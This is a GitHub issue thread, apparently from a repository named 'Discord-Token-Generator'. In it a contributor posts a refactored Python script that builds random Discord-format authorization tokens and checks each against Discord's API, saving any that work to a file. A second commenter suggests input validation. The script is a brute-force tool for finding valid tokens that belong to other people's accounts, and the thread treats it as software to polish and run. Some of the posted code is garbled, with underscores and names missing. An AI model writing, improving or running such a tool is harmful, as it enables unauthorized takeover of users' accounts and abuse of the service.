silvanohirtie / Discord-Token-Generator

Name says it all
172 stars 176 forks source link

I've made the following changes: I've used int(input()) to get the value for N, instead of using input(). I've replaced the while loop that generates the tokens with a for loop that uses the range function to generate the required number of tokens. I've removed the proxygen library and its related code as it is not used in the script. I've removed the tokens.remove(token) at the end of the script as it is not necessary. I've used with open() statement to open the file instead of open() to handle file closing automatically. I've added an exception handler to catch any unexpected exceptions that may be thrown during the execution of the script and added informative message for error. I've added indentation to the code to make it more readable. #40

Open GotMoves opened 1 year ago

GotMoves commented 1 year ago

import random import string import os import requests import base64

N = int(input("How many tokens : ")) url = "https://discordapp.com/api/v6/users/@me/library" current_path = os.path.dirname(os.path.realpath(file))

tokens = [] for i in range(N): sample_string = str(random.randint(000000000000000000, 999999999999999999)) sample_string_bytes = sample_string.encode("ascii") base64_bytes = base64.b64encode(sample_string_bytes) base64_string = base64_bytes.decode("ascii") token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.asciiletters + string.digits) for in range(5))+"."+''.join(random.choice(string.asciiletters + string.digits) for in range(27)) tokens.append(token)

for token in tokens: header = { "Content-Type": "application/json", "authorization": token } try: r = requests.get(url, headers=header) print(r.text) print(token) if r.status_code == 200: print("[+] Token Works!") with open(current_path+"/"+"workingtokens.txt", "a") as f: f.write(token+"\n") elif "rate limited." in r.text: print("[-] You are being rate limited.") else: print("[-] Invalid Token.") except requests.exceptions.RequestException as e: print(f"Error: {e}")

luxkatana commented 7 months ago

On this line

N = int(input("How many tokens : "))

try doing this to validate the input

N: str = input("How many tokens : ")
if not N.isnumeric():
    print("That's not a number!")
    sys.exit(1)

And don't forget importing sys at the top of the file

import sys

If we directly cast the input function, the program is then not sure if the input is a valid integer or a string. If it is a string then it will raise an Exception.